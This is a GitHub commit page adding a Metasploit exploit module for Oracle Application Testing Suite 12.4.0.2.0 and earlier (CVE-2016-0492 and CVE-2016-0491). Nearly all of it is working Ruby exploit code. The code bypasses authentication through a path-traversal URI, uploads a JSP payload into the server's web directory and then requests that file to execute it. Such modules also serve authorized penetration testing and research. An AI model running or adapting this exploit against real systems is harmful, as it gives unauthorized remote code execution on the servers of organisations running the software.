Skip to content

Commit 028b1ac

Browse files
committed
Land rapid7#6816 Oracle Application Testing Suite File Upload
2 parents 3dfdf1d + c16a026 commit 028b1ac

File tree

1 file changed

+115
-0
lines changed

1 file changed

+115
-0
lines changed
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Oracle ATS Arbitrary File Upload',
16+
'Description' => %q{
17+
This module exploits an authentication bypass and arbitrary file upload
18+
in Oracle Application Testing Suite (OATS), version 12.4.0.2.0 and
19+
unknown earlier versions, to upload and execute a JSP shell.
20+
},
21+
'Author' => [
22+
'Zhou Yu', # Proof of concept
23+
'wvu' # Metasploit module
24+
],
25+
'References' => [
26+
%w{CVE 2016-0492}, # Auth bypass
27+
%w{CVE 2016-0491}, # File upload
28+
%w{EDB 39691} # PoC
29+
],
30+
'DisclosureDate' => 'Jan 20 2016',
31+
'License' => MSF_LICENSE,
32+
'Platform' => %w{win linux},
33+
'Arch' => ARCH_JAVA,
34+
'Privileged' => true,
35+
'Targets' => [
36+
['OATS <= 12.4.0.2.0 (Windows)', 'Platform' => 'win'],
37+
['OATS <= 12.4.0.2.0 (Linux)', 'Platform' => 'linux']
38+
],
39+
'DefaultTarget' => 0
40+
))
41+
42+
register_options([
43+
Opt::RPORT(8088)
44+
])
45+
end
46+
47+
def check
48+
res = send_request_cgi(
49+
'method' => 'GET',
50+
'uri' => '/admin/Login.do'
51+
)
52+
53+
if res && res.body.include?('12.4.0.2.0')
54+
CheckCode::Appears
55+
else
56+
CheckCode::Safe
57+
end
58+
end
59+
60+
def exploit
61+
print_status("Uploading JSP shell to #{jsp_path}")
62+
upload_jsp_shell
63+
print_status("Executing JSP shell: #{full_uri}olt/pages/#{jsp_filename}")
64+
exec_jsp_shell
65+
end
66+
67+
def upload_jsp_shell
68+
mime = Rex::MIME::Message.new
69+
mime.add_part('.jsp', nil, nil, 'form-data; name="storage.extension"')
70+
mime.add_part(jsp_filename, nil, nil, 'form-data; name="fileName1"')
71+
mime.add_part('', nil, nil, 'form-data; name="fileName2"') # Not needed
72+
mime.add_part('', nil, nil, 'form-data; name="fileName3"') # Not needed
73+
mime.add_part('', nil, nil, 'form-data; name="fileName4"') # Not needed
74+
mime.add_part('*', nil, nil, 'form-data; name="fileType"')
75+
mime.add_part(payload.encoded, 'text/plain', nil,
76+
%Q{form-data; name="file1"; filename="#{jsp_filename}"})
77+
mime.add_part('Default', nil, nil, 'form-data; name="storage.repository"')
78+
mime.add_part('.', nil, nil, 'form-data; name="storage.workspace"')
79+
mime.add_part(jsp_directory, nil, nil, 'form-data; name="directory"')
80+
81+
register_files_for_cleanup(jsp_path)
82+
83+
send_request_cgi(
84+
'method' => 'POST',
85+
'uri' => '/olt/Login.do/../../olt/UploadFileUpload.do',
86+
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
87+
'data' => mime.to_s
88+
)
89+
end
90+
91+
def exec_jsp_shell
92+
send_request_cgi(
93+
'method' => 'GET',
94+
'uri' => "/olt/pages/#{jsp_filename}"
95+
)
96+
end
97+
98+
def jsp_directory
99+
case target['Platform']
100+
when 'win'
101+
'..\\oats\\servers\\AdminServer\\tmp\\_WL_user\\oats_ee\\1ryhnd\\war\\pages'
102+
when 'linux'
103+
'../oats/servers/AdminServer/tmp/_WL_user/oats_ee/1ryhnd/war/pages'
104+
end
105+
end
106+
107+
def jsp_filename
108+
@jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
109+
end
110+
111+
def jsp_path
112+
jsp_directory + "#{target['Platform'] == 'win' ? '\\' : '/'}" + jsp_filename
113+
end
114+
115+
end

0 commit comments

Comments
 (0)